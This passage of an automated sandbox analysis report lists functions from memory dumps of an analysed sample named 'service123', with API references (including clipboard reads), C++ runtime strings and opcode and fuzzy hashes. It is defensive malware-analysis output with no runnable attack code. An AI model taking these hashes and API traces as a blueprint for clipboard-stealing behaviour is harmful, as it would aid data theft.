Instruction Fuzzy Hash: EB42F2716083058FD700CF29C68435ABBF2BFC5308F15896EE895ABB41D775E949CBA2

Function 6C7B5880 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 6C7B6D95
, xrefs: 6C7B7074
Infinity, xrefs: 6C7B5BE0
NaN, xrefs: 6C7B5B5F

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: $ $Infinity$NaN
API String ID: 0-3274152445
Opcode ID: 208b81885a59427bc06b0e1a2f95ca1ea4829964bfe4faa16ef7bce463ed393b
Instruction ID: ce4253ad836fafcaca85df12d1ed0a7dd0b995b891a2acedb4305b5c99ec4e8f
Opcode Fuzzy Hash: 208b81885a59427bc06b0e1a2f95ca1ea4829964bfe4faa16ef7bce463ed393b
Instruction Fuzzy Hash: 6BE230B1A093418FD754CF29C28474ABBE0FF89748F14892EE998A7750E775E944CF82

Function 6C7B9E27 Relevance: 6.0, APIs: 4, Instructions: 38clipboardCOMMON

Download Yara Rule

APIs

GetClipboardData.USER32 ref: 6C7B9E37
GlobalLock.KERNEL32 ref: 6C7B9E49
GlobalUnlock.KERNEL32 ref: 6C7B9E6A
CloseClipboard.USER32 ref: 6C7B9E73
CloseClipboard.USER32 ref: 6C7B9E98

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$CloseGlobal$DataLockUnlock
String ID:
API String ID: 3186146249-0
Opcode ID: 77c07affc17c0d30b66145c1f688574503722583813238cbdc80771123ecaf91
Instruction ID: d8fcae05df3aa17664105827521be87e3ee16957f61d87c0c4877af16364720e
Opcode Fuzzy Hash: 77c07affc17c0d30b66145c1f688574503722583813238cbdc80771123ecaf91
Instruction Fuzzy Hash: 65F086B36045018FEB107F7C964815EBBF0AB55318F00093CE896A3640DB34D509C7D3

Function 009551B0 Relevance: 6.0, APIs: 1, Strings: 2, Instructions: 1506COMMON

Download Yara Rule

Strings

, xrefs: 009569A4
, xrefs: 009566C5

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: bb77265859c3dbde52aff08fa235cc7e02f54399db4f0d7d8eb4f938301b0920
Instruction ID: 76f562df356bfbeaee984fb7ad9e9b8a38bec0fa4d0e8b0a887246ab8905dbfb
Opcode Fuzzy Hash: bb77265859c3dbde52aff08fa235cc7e02f54399db4f0d7d8eb4f938301b0920
Instruction Fuzzy Hash: 76E230B1A087418FD720DF2AC08471AFBE0BF88755F558D1DE89997362E775E8488F82

Function 6C7B44F0 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

@, xrefs: 6C7B46A9
gfff, xrefs: 6C7B4613
., xrefs: 6C7B47E4
gfff, xrefs: 6C7B45FC

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction ID: 98148abf7ec6789e877392f0e17476e5e18b0181e69a2b392658ae0eb67c8384
Opcode Fuzzy Hash: 8626a3e6e77548aa8c80ec26b31963b047f7067a9e1e968e0f87eb2c543a7be7
Instruction Fuzzy Hash: 55D1D671A097468BD700CE29CA8434BBBE2EFC5348F18C53DE894ABB45D770D949DB82

Function 00953E20 Relevance: 5.4, Strings: 4, Instructions: 351COMMON

Download Yara Rule

Strings

., xrefs: 00954114
gfff, xrefs: 00953F2C
gfff, xrefs: 00953F43
@, xrefs: 00953FD9

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: .$@$gfff$gfff
API String ID: 0-2633265772
Opcode ID: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction ID: ef4f3d0fb8aa3938da254026b46fe79cb792ac33ba7234198bf32be2c117cf3d
Opcode Fuzzy Hash: 8459d8207e057e620cf1d9af03855443049108a225ce8fe639410900789573df
Instruction Fuzzy Hash: 02D1B171A087068BD754DF2AC88031BBBE6AFD4345F18C92DEC998B245D774DD8C8B92

Function 6C843140 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

basic_string: construction from null is not valid, xrefs: 6C843250

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: basic_string: construction from null is not valid
API String ID: 0-2991274800
Opcode ID: b792130efb4ce53ba088c6dd42c44ffa83580d3aced723a80916aebf0a188ea2
Instruction ID: 0c365bad9401ebf6c93e6a2174cb48a8f8ebe1ea7d8bfc29ba9c43db6c319e26
Opcode Fuzzy Hash: b792130efb4ce53ba088c6dd42c44ffa83580d3aced723a80916aebf0a188ea2
Instruction Fuzzy Hash: 4F414BB29093208FD724DF6DD58064AFBE0AF99314F15C96EE8989B315E330D845CBE2

Function 6C840730 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C8407A0
memset.MSVCRT ref: 6C8407C4

Strings

basic_string::_M_replace_aux, xrefs: 6C840840

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmovememset
String ID: basic_string::_M_replace_aux
API String ID: 1288253900-2536181960
Opcode ID: b2c249d4f5ec2977512c227d8eca790d9f5eae21a087d32a9b2496c07e26308f
Instruction ID: f36b9e64025bdad66ae7cce83442d072a8230ea15710a1434ecf7c5b715e4265
Opcode Fuzzy Hash: b2c249d4f5ec2977512c227d8eca790d9f5eae21a087d32a9b2496c07e26308f
Instruction Fuzzy Hash: AF315D7560D7988FC7109F28CA8061BBBF1AF96604F14C96DE8948B745D732C844CF93

Function 6C813840 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C813898
memcpy.MSVCRT ref: 6C813911

Part of subcall function 6C815590: memcpy.MSVCRT ref: 6C815620

Strings

basic_string::_M_replace_aux, xrefs: 6C8138C0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy$memset
String ID: basic_string::_M_replace_aux
API String ID: 438689982-2536181960
Opcode ID: 2fdc5df894b3f1dc6e234389ff6a466e9dead4d81cc7f3aaa38f24e5ef2a7542
Instruction ID: 7b66005d2f917a120ddef58d98b44a2b79303babd9517dc541f0f6fd3020bfff
Opcode Fuzzy Hash: 2fdc5df894b3f1dc6e234389ff6a466e9dead4d81cc7f3aaa38f24e5ef2a7542
Instruction Fuzzy Hash: 3F218E72A0A3219FC310AF1D998046EFBE4EBD5628F944D6EF89897711D331D814CB92

Function 6C7CA9E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA9FD
wcslen.MSVCRT ref: 6C7CAA4D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CAA20, 6C7CAA70

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction ID: e7636d7bdcf058a91fbb72ab813c3e28a059a3a07503acea271a0b27c3c152c2
Opcode Fuzzy Hash: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction Fuzzy Hash: 4B1163B19163148FCB20AF2CD28485BBBF4BF55218F42497DE8C4AB311D331E958CB92

Function 6C7CA5F0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA60D
wcslen.MSVCRT ref: 6C7CA65D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA630, 6C7CA680

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction ID: 1894b82a4b032503dcc17d70f21f618d2405c08649c73ecbd41186ca1ea77236
Opcode Fuzzy Hash: 2aefd6a319a35651c6493a2199ecbef28ba8751756772ac99a5cf7543a9efb2f
Instruction Fuzzy Hash: ED1163B19167148FCB20AF2CD28485BBBF4AF55218F42487DE8C4AB311D331E959CB92

Function 6C7D98F0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1123COMMON

Download Yara Rule

Strings

-, xrefs: 6C7DA30E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 6d36ea7bb731a48a8630b55ddeb3525fdc6efb3a7999d013eb645a17d5850558
Instruction ID: 3c11792be5a772b6528498d0d0df4f574ffaad9dfb4e461e813e4a8e2903e065
Opcode Fuzzy Hash: 6d36ea7bb731a48a8630b55ddeb3525fdc6efb3a7999d013eb645a17d5850558
Instruction Fuzzy Hash: A9A2A031A043558FDB10CF69C69078DBBF2BF56324F2A8668D869AB692D730EC45CF50

Function 6C7D87C0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 1122COMMON

Download Yara Rule

Strings

-, xrefs: 6C7D91DE

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 2114680d5d3c3e35d2f126a2dd901ce29040e6037e64deb307a9e7946b668633
Instruction ID: 59c0b9bb0211a983b3f6080e6697281c8ad0d044b4f75d2cf0132fb8dc74075f
Opcode Fuzzy Hash: 2114680d5d3c3e35d2f126a2dd901ce29040e6037e64deb307a9e7946b668633
Instruction Fuzzy Hash: DBA2A170A043558FDB10CF69C69078DBBF2BF55324F2A86A9D865AF692C730EC45CB90

Function 6C813690 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

basic_string::_S_construct null not valid, xrefs: 6C813710

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_S_construct null not valid
API String ID: 0-290684606
Opcode ID: 5bac593ff5e5cba1d7cf9be86ff0a58df0b8beae6a02d4059ccb15169fe095c3
Instruction ID: 7c3d3b270430d8a0145c6c912f47febe1160a0f8e73122b0552333d21f9287c8
Opcode Fuzzy Hash: 5bac593ff5e5cba1d7cf9be86ff0a58df0b8beae6a02d4059ccb15169fe095c3
Instruction Fuzzy Hash: 1E01BCB150D3469BC3206F6EC28461BFFE4AF92228F948C2EE4C847B11D335D848CB62

Function 6C7CA970 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA98D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA9B0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction ID: 52f46e5aefad7f284ae5ff95ba6c24b5b68b72f0c366f6e588cd9ff6ae64e40e
Opcode Fuzzy Hash: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction Fuzzy Hash: D3F054B19153148FCB10EF2CD18485AB7F4BF55318F42486DD8C49B711D731E949CB96

Function 6C7CA580 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 6C7CA59D

Strings

basic_string: construction from null is not valid, xrefs: 6C7CA5C0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: wcslen
String ID: basic_string: construction from null is not valid
API String ID: 4088430540-2991274800
Opcode ID: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction ID: bc0aec5d735fc0cb49335f712892111ce26112e012dd9541029f1464315343ba
Opcode Fuzzy Hash: 7abfe121eff4cdeff8adfc3b4d7d2ff2b5686e883752e3587fc64c2afe90df3a
Instruction Fuzzy Hash: 12F05EB1A163148FCB10EF2CD18485AB7F4BF55318F4248ADE884AB715E332E949CB92

Function 6C7CC510 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7CC570
basic_string::substr, xrefs: 6C7CC568

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: bb8389f219cf6be14413d949bb684d532bc2262bbe79d93a8c71b4ac3d45f051
Instruction ID: dd1c42f828fd993e9bfccd9f35f9f0d02cc98a711ec67f117bd3c88f3a9d3fa0
Opcode Fuzzy Hash: bb8389f219cf6be14413d949bb684d532bc2262bbe79d93a8c71b4ac3d45f051
Instruction Fuzzy Hash: E9017CB16082108BC704DF2DD58095AFBF1ABC9704F548DADE088D7711D731D849CB86

Function 6C7C0740 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7C07A0
basic_string::substr, xrefs: 6C7C0798

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 8ee54599bc82bab157595887c89299a2392ff46113146eab8b3f15942795766c
Instruction ID: 159e71bd6f2229c1d10e459927c99d1cb7c6b307f7f717feaecb63dbd08f37dc
Opcode Fuzzy Hash: 8ee54599bc82bab157595887c89299a2392ff46113146eab8b3f15942795766c
Instruction Fuzzy Hash: BB0146B2A0A3019FD718CF2AD981A9FFBE1ABC9350F009D2DE488C7700C234D8448B93

Function 6C7E46E0 Relevance: 2.1, APIs: 1, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ee03991b23330b7e0d79e774b15d3949503b064f617a88b1e07763266cd3c76
Instruction ID: 8d450b50e7bede7d498cabbb4702514fd9fc6c10f9f88263b84311bcef4864bd
Opcode Fuzzy Hash: 2ee03991b23330b7e0d79e774b15d3949503b064f617a88b1e07763266cd3c76
Instruction Fuzzy Hash: B482A072E042988FDB10CFE9C68078DBBF1AF49324F198669D865AF796C3349C45DB81

Function 6C7E2CCE Relevance: 2.1, APIs: 1, Instructions: 811COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

